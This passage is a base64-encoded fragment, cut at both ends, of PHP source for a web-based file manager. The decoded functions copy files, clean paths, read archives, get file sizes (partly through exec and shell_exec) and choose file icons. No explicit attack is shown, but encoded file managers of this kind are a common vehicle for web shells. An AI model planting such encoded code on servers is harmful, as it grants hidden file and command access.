HVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsKfQoKLyoqCiAqIFNhZmVseSBjb3B5IGZpbGUKICogQHBhcmFtIHN0cmluZyAkZjEKICogQHBhcmFtIHN0cmluZyAkZjIKICogQHBhcmFtIGJvb2wgJHVwZCBJbmRpY2F0ZXMgaWYgZmlsZSBzaG91bGQgYmUgdXBkYXRlZCB3aXRoIG5ldyBjb250ZW50CiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fY29weSgkZjEsICRmMiwgJHVwZCkKewogICAgJHRpbWUxID0gZmlsZW10aW1lKCRmMSk7CiAgICBpZiAoZmlsZV9leGlzdHMoJGYyKSkgewogICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpOwogICAgICAgIGlmICgkdGltZTIgPj0gJHRpbWUxICYmICR1cGQpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgICRvayA9IGNvcHkoJGYxLCAkZjIpOwogICAgaWYgKCRvaykgewogICAgICAgIHRvdWNoKCRmMiwgJHRpbWUxKTsKICAgIH0KICAgIHJldHVybiAkb2s7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aAogKiBAcmV0dXJuIG1peGVkfHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHsKICAgICAgICAkZmluZm8gPSBmaW5mb19vcGVuKEZJTEVJTkZPX01JTUVfVFlQRSk7CiAgICAgICAgJG1pbWUgPSBmaW5mb19maWxlKCRmaW5mbywgJGZpbGVfcGF0aCk7CiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7CiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpOwogICAgfSBlbHNlaWYgKCFzdHJpc3RyKGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdzaGVsbF9leGVjJykpIHsKICAgICAgICAkZmlsZSA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlX3BhdGgpOwogICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAnLS0nOwogICAgfQp9CgovKioKICogSFRUUCBSZWRpcmVjdAogKiBAcGFyYW0gc3RyaW5nICR1cmwKICogQHBhcmFtIGludCAkY29kZQogKi8KZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpCnsKICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7CiAgICBleGl0Owp9CgovKioKICogUGF0aCB0cmF2ZXJzYWwgcHJldmVudGlvbiBhbmQgY2xlYW4gdGhlIHVybAogKiBJdCByZXBsYWNlcyAoY29uc2VjdXRpdmUpIG9jY3VycmVuY2VzIG9mIC8gYW5kIFxcIHdpdGggd2hhdGV2ZXIgaXMgaW4gRElSRUNUT1JZX1NFUEFSQVRPUiwgYW5kIHByb2Nlc3NlcyAvLiBhbmQgLy4uIGZpbmUuCiAqIEBwYXJhbSAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpIHsKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOwogICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7CiAgICAkYWJzb2x1dGVzID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlOwogICAgICAgIGlmICgnLi4nID09ICRwYXJ0KSB7CiAgICAgICAgICAgIGFycmF5X3BvcCgkYWJzb2x1dGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYWJzb2x1dGVzW10gPSAkcGFydDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkYWJzb2x1dGVzKTsKfQoKLyoqCiAqIENsZWFuIHBhdGgKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fY2xlYW5fcGF0aCgkcGF0aCwgJHRyaW0gPSB0cnVlKQp7CiAgICAkcGF0aCA9ICR0cmltID8gdHJpbSgkcGF0aCkgOiAkcGF0aDsKICAgICRwYXRoID0gdHJpbSgkcGF0aCwgJ1xcLycpOwogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi4vJywgJy4uXFwnKSwgJycsICRwYXRoKTsKICAgICRwYXRoID0gIGdldF9hYnNvbHV0ZV9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCA9PSAnLi4nKSB7CiAgICAgICAgJHBhdGggPSAnJzsKICAgIH0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKfQoKLyoqCiAqIEdldCBwYXJlbnQgcGF0aAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbHxzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aCkKewogICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7CiAgICAgICAgICAgICRhcnJheSA9IGFycmF5X3NsaWNlKCRhcnJheSwgMCwgLTEpOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLycsICRhcnJheSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIENoZWNrIGZpbGUgaXMgaW4gZXhjbHVkZSBsaXN0CiAqIEBwYXJhbSBzdHJpbmcgJGZpbGUKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlKSB7CiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICBpZighaW5fYXJyYXkoJGZpbGUsIEZNX0VYQ0xVREVfSVRFTVMpICYmICFpbl9hcnJheSgiKi4kZXh0IiwgRk1fRVhDTFVERV9JVEVNUykpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGUKICogQHBhcmFtIGludCAkdHIKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpIHsKICAgIHRyeSB7CiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3RyYW5zbGF0aW9uLmpzb24nKTsKICAgICAgICBpZigkY29udGVudCAhPT0gRkFMU0UpIHsKICAgICAgICAgICAgJGxuZyA9IGpzb25fZGVjb2RlKCRjb250ZW50LCBUUlVFKTsKICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsbmdbImxhbmd1YWdlIl0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRjb2RlID0gJHZhbHVlWyJjb2RlIl07CiAgICAgICAgICAgICAgICAkbGFuZ19saXN0WyRjb2RlXSA9ICR2YWx1ZVsibmFtZSJdOwogICAgICAgICAgICAgICAgaWYgKCR0cikKICAgICAgICAgICAgICAgICAgICAkdHJbJGNvZGVdID0gJHZhbHVlWyJ0cmFuc2xhdGlvbiJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdHI7CiAgICAgICAgfQoKICAgIH0KICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBlY2hvICRlOwogICAgfQp9CgovKioKICogQHBhcmFtICRmaWxlCiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuCiAqIFdvcmtzIG9uIHBocCAzMmJpdHMgYW5kIDY0Yml0cyBhbmQgc3VwcG9ydHMgbGludXgKICogQHJldHVybiBpbnR8c3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9nZXRfc2l6ZSgkZmlsZSkKewogICAgc3RhdGljICRpc3dpbjsKICAgIHN0YXRpYyAkaXNkYXJ3aW47CiAgICBpZiAoIWlzc2V0KCRpc3dpbikpIHsKICAgICAgICAkaXN3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT0gJ1dJTicpOwogICAgfSAKICAgIGlmICghaXNzZXQoJGlzZGFyd2luKSkgewogICAgICAgICRpc2RhcndpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDApKSA9PSAiREFSV0lOIik7CiAgICB9CgogICAgc3RhdGljICRleGVjX3dvcmtzOwogICAgaWYgKCFpc3NldCgkZXhlY193b3JrcykpIHsKICAgICAgICAkZXhlY193b3JrcyA9IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09ICdFWEVDJyk7CiAgICB9CgogICAgLy8gdHJ5IGEgc2hlbGwgY29tbWFuZAogICAgaWYgKCRleGVjX3dvcmtzKSB7CiAgICAgICAgJGFyZyA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlKTsKICAgICAgICAkY21kID0gKCRpc3dpbikgPyAiZm9yICVGIGluIChcIiRmaWxlXCIpIGRvIEBlY2hvICV+ekYiIDogKCRpc2RhcndpbiA/ICJzdGF0IC1mJXogJGFyZyIgOiAic3RhdCAtYyVzICRhcmciKTsKICAgICAgICBAZXhlYygkY21kLCAkb3V0cHV0KTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIHRyeSB0aGUgV2luZG93cyBDT00gaW50ZXJmYWNlCiAgICBpZiAoJGlzd2luICYmIGNsYXNzX2V4aXN0cygiQ09NIikpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOwogICAgICAgICAgICAkZiA9ICRmc29iai0+R2V0RmlsZSggcmVhbHBhdGgoJGZpbGUpICk7CiAgICAgICAgICAgICRzaXplID0gJGYtPlNpemU7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICRzaXplID0gbnVsbDsKICAgICAgICB9CiAgICAgICAgaWYgKGN0eXBlX2RpZ2l0KCRzaXplKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIGlmIGFsbCBlbHNlIGZhaWxzCiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpOwp9CgovKioKICogR2V0IG5pY2UgZmlsZXNpemUKICogQHBhcmFtIGludCAkc2l6ZQogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKQp7CiAgICAkc2l6ZSA9IChmbG9hdCkgJHNpemU7CiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOwogICAgJHBvd2VyID0gJHNpemUgPiAwID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwOwogICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgLyBwb3coMTAyNCwgJHBvd2VyKSwgMiksICR1bml0c1skcG93ZXJdKTsKfQoKLyoqCiAqIEdldCBkaXJlY3RvciB0b3RhbCBzaXplCiAqIEBwYXJhbSBzdHJpbmcgJGRpcmVjdG9yeQogKiBAcmV0dXJuIGludAogKi8KZnVuY3Rpb24gZm1fZ2V0X2RpcmVjdG9yeXNpemUoJGRpcmVjdG9yeSkgewogICAgZ2xvYmFsICRjYWxjX2ZvbGRlcjsKICAgIGlmICgkY2FsY19mb2xkZXI9PXRydWUpIHsgLy8gIFNsb3dlciBvdXRwdXQKICAgICAgJHNpemUgPSAwOyAgJGNvdW50PSAwOyAgJGRpckNvdW50PSAwOwogICAgZm9yZWFjaChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGRpcmVjdG9yeSkpIGFzICRmaWxlKQogICAgaWYgKCRmaWxlLT5pc0ZpbGUoKSkKICAgICAgICB7ICAgJHNpemUrPSRmaWxlLT5nZXRTaXplKCk7CiAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgIH0KICAgIGVsc2UgaWYgKCRmaWxlLT5pc0RpcigpKSB7ICRkaXJDb3VudCsrOyB9CiAgICAvLyByZXR1cm4gWyRzaXplLCAkY291bnQsICRkaXJDb3VudF07CiAgICByZXR1cm4gJHNpemU7CiAgICB9CiAgICBlbHNlIHJldHVybiAnRm9sZGVyJzsgLy8gIFF1aWNrIG91dHB1dAp9CgovKioKICogR2V0IGluZm8gYWJvdXQgemlwIGFyY2hpdmUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIGFycmF5fGJvb2wKICovCmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dCkgewogICAgaWYgKCRleHQgPT0gJ3ppcCcgJiYgZnVuY3Rpb25fZXhpc3RzKCd6aXBfb3BlbicpKSB7CiAgICAgICAgJGFyY2ggPSB6aXBfb3BlbigkcGF0aCk7CiAgICAgICAgaWYgKCRhcmNoKSB7CiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpOwogICAgICAgICAgICB3aGlsZSAoJHppcF9lbnRyeSA9IHppcF9yZWFkKCRhcmNoKSkgewogICAgICAgICAgICAgICAgJHppcF9uYW1lID0gemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSk7CiAgICAgICAgICAgICAgICAkemlwX2ZvbGRlciA9IHN1YnN0cigkemlwX25hbWUsIC0xKSA9PSAnLyc7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJHppcF9uYW1lLAogICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgICAgICdjb21wcmVzc2VkX3NpemUnID0+IHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSwKICAgICAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICAgICAgICAgIC8vJ2NvbXByZXNzaW9uX21ldGhvZCcgPT4gemlwX2VudHJ5X2NvbXByZXNzaW9ubWV0aG9kKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICB6aXBfY2xvc2UoJGFyY2gpOwogICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgICAgICB9CiAgICB9IGVsc2VpZigkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkgewogICAgICAgICRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRwYXRoKTsKICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKCRhcmNoaXZlKSBhcyAkZmlsZSkgewogICAgICAgICAgICAkcGFyZW50X2luZm8gPSAkZmlsZS0+Z2V0UGF0aEluZm8oKTsKICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoInBoYXI6Ly8iLiRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpOwogICAgICAgICAgICAkemlwX25hbWUgPSBzdWJzdHIoJHppcF9uYW1lLCAoJHBvcyA9IHN0cnBvcygkemlwX25hbWUsICcvJykpICE9PSBmYWxzZSA/ICRwb3MgKyAxIDogMCk7CiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAkemlwX2luZm8gPSBuZXcgU3BsRmlsZUluZm8oJGZpbGUpOwogICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsCiAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+ICR6aXBfaW5mby0+Z2V0U2l6ZSgpLAogICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gJGZpbGUtPmdldENvbXByZXNzZWRTaXplKCksCiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIEVuY29kZSBodG1sIGVudGl0aWVzCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2VuYygkdGV4dCkKewogICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpOwp9CgovKioKICogUHJldmVudCBYU1MgYXR0YWNrcwogKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAqIEByZXR1cm4gc3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KSB7CiAgICByZXR1cm4gKHN0cnBicmsoJHRleHQsICcvPyUqOnwiPD4nKSA9PT0gRkFMU0UpID8gdHJ1ZSA6IGZhbHNlOwp9CgovKioKICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb24KICogQHBhcmFtIHN0cmluZyAkbXNnCiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1cwogKi8KZnVuY3Rpb24gZm1fc2V0X21zZygkbXNnLCAkc3RhdHVzID0gJ29rJykKewogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gPSAkbXNnOwogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA9ICRzdGF0dXM7Cn0KCi8qKgogKiBDaGVjayBpZiBzdHJpbmcgaXMgaW4gVVRGLTgKICogQHBhcmFtIHN0cmluZyAkc3RyaW5nCiAqIEByZXR1cm4gaW50CiAqLwpmdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpCnsKICAgIHJldHVybiBwcmVnX21hdGNoKCcvL3UnLCAkc3RyaW5nKTsKfQoKLyoqCiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3MKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2NvbnZlcnRfd2luKCRmaWxlbmFtZSkKewogICAgaWYgKEZNX0lTX1dJTiAmJiBmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAkZmlsZW5hbWUgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGZpbGVuYW1lKTsKICAgIH0KICAgIHJldHVybiAkZmlsZW5hbWU7Cn0KCi8qKgogKiBAcGFyYW0gJG9iagogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iaikKewogICAgaWYgKCFpc19vYmplY3QoJG9iaikgJiYgIWlzX2FycmF5KCRvYmopKSB7CiAgICAgICAgcmV0dXJuICRvYmo7CiAgICB9CiAgICBpZiAoaXNfb2JqZWN0KCRvYmopKSB7CiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTsKICAgIH0KICAgIHJldHVybiBhcnJheV9tYXAoJ2ZtX29iamVjdF90b19hcnJheScsICRvYmopOwp9CgovKioKICogR2V0IENTUyBjbGFzc25hbWUgZm9yIGZpbGUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCkKewogICAgLy8gZ2V0IGV4dGVuc2lvbgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoKICAgIHN3aXRjaCAoJGV4dCkgewogICAgICAgIGNhc2UgJ2ljbyc6CiAgICAgICAgY2FzZSAnZ2lmJzoKICAgICAgICBjYXNlICdqcGcnOgogICAgICAgIGNhc2UgJ2pwZWcnOgogICAgICAgIGNhc2UgJ2pwYyc6CiAgICAgICAgY2FzZSAnanAyJzoKICAgICAgICBjYXNlICdqcHgnOgogICAgICAgIGNhc2UgJ3hibSc6CiAgICAgICAgY2FzZSAnd2JtcCc6CiAgICAgICAgY2FzZSAncG5nJzoKICAgICAgICBjYXNlICdibXAnOgogICAgICAgIGNhc2UgJ3RpZic6CiAgICAgICAgY2FzZSAndGlmZic6CiAgICAgICAgY2FzZSAnc3ZnJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwYXNzd2QnOgogICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzoKICAgICAgICBjYXNlICdzcWwnOgogICAgICAgIGNhc2UgJ2pzJzoKICAgICAgICBjYXNlICdqc29uJzoKICAgICAgICBjYXNlICdzaCc6CiAgICAgICAgY2FzZSAnY29uZmlnJzoKICAgICAgICBjYXNlICd0d2lnJzoKICAgICAgICBjYXNlICd0cGwnOgogICAgICAgIGNhc2UgJ21kJzoKICAgICAgICBjYXNlICdnaXRpZ25vcmUnOgogICAgICAgIGNhc2UgJ2MnOgogICAgICAgIGNhc2UgJ2NwcCc6CiAgICAgICAgY2FzZSAnY3MnOgogICAgICAgIGNhc2UgJ3B5JzoKICAgICAgICBjYXNlICdtYXAnOgogICAgICAgIGNhc2UgJ2xvY2snOgogICAgICAgIGNhc2UgJ2R0ZCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0eHQnOgogICAgICAgIGNhc2UgJ2luaSc6CiAgICAgICAgY2FzZSAnY29uZic6CiAgICAgICAgY2FzZSAnbG9nJzoKICAgICAgICBjYXNlICdodGFjY2Vzcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS10ZXh0LW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdjc3MnOgogICAgICAgIGNhc2UgJ2xlc3MnOgogICAgICAgIGNhc2UgJ3Nhc3MnOgogICAgICAgIGNhc2UgJ3Njc3MnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNzczMnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd6aXAnOgogICAgICAgIGNhc2UgJ3Jhcic6CiAgICAgICAgY2FzZSAnZ3onOgogICAgICAgIGNhc2UgJ3Rhcic6CiAgICAgICAgY2FzZSAnN3onOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGhwJzoKICAgICAgICBjYXNlICdwaHA0JzoKICAgICAgICBjYXNlICdwaHA1JzoKICAgICAgICBjYXNlICdwaHBzJzoKICAgICAgICBjYXNlICdwaHRtbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY29kZSc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2h0bSc6CiAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgY2FzZSAnc2h0bWwnOgogICAgICAgIGNhc2UgJ3hodG1sJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1odG1sNSc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3htbCc6CiAgICAgICAgY2FzZSAneHNsJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWV4Y2VsLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd3YXYnOgogICAgICAgIGNhc2UgJ21wMyc6CiAgICAgICAgY2FzZSAnbXAyJzoKICAgICAgICBjYXNlICdtNGEnOgogICAgICAgIGNhc2UgJ2FhYyc6CiAgICAgICAgY2FzZSAnb2dnJzoKICAgICAgICBjYXNlICdvZ2EnOgogICAgICAgIGNhc2UgJ3dtYSc6CiAgICAgICAgY2FzZSAnbWthJzoKICAgICAgICBjYXNlICdmbGFjJzoKICAgICAgICBjYXNlICdhYzMnOgogICAgICAgIGNhc2UgJ3Rkcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtbXVzaWMnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdtM3UnOgogICAgICAgIGNhc2UgJ20zdTgnOgogICAgICAgIGNhc2UgJ3Bscyc6CiAgICAgICAgY2FzZSAnY3VlJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1oZWFkcGhvbmVzJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnYXZpJzoKICAgICAgICBjYXNlICdtcGcnOgogICAgICAgIGNhc2UgJ21wZWcnOgogICAgICAgIGNhc2UgJ21wNCc6CiAgICAgICAgY2FzZSAnbTR2JzoKICAgICAgICBjYXNlICdmbHYnOgogICAgICAgIGNhc2UgJ2Y0dic6CiAgICAgICAgY2FzZSAnb2dtJzoKICAgICAgICBjYXNlICdvZ3YnOgogICAgICAgIGNhc2UgJ21vdic6CiAgICAgICAgY2FzZSAnbWt2JzoKICAgICAgICBjYXNlICczZ3AnOgogICAgICAgIGNhc2UgJ2FzZic6CiAgICAgICAgY2FzZSAnd212JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXZpZGVvLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdlbWwnOgogICAgICAgIGNhc2UgJ21zZyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZW52ZWxvcGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3hscyc6CiAgICAgICAgY2FzZSAneGxzeCc6CiAgICAgICAgY2FzZSAnb2RzJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWV4Y2VsLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdjc3YnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnYmFrJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jbGlwYm9hcmQnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkb2MnOgogICAgICAgIGNhc2UgJ2RvY3gnOgogICAgICAgIGNhc2UgJ29kdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcHQnOgogICAgICAgIGNhc2UgJ3BwdHgnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcG93ZXJwb2ludC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndHRmJzoKICAgICAgICBjYXNlICd0dGMnOgogICAgICAgIGNhc2UgJ290Zic6CiAgICAgICAgY2FzZSAnd29mZic6CiAgICAgICAgY2FzZSAnd29mZjInOgogICAgICAgIGNhc2UgJ2VvdCc6CiAgICAgICAgY2FzZSAnZm9uJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1mb250JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGRmJzoKICAgICAg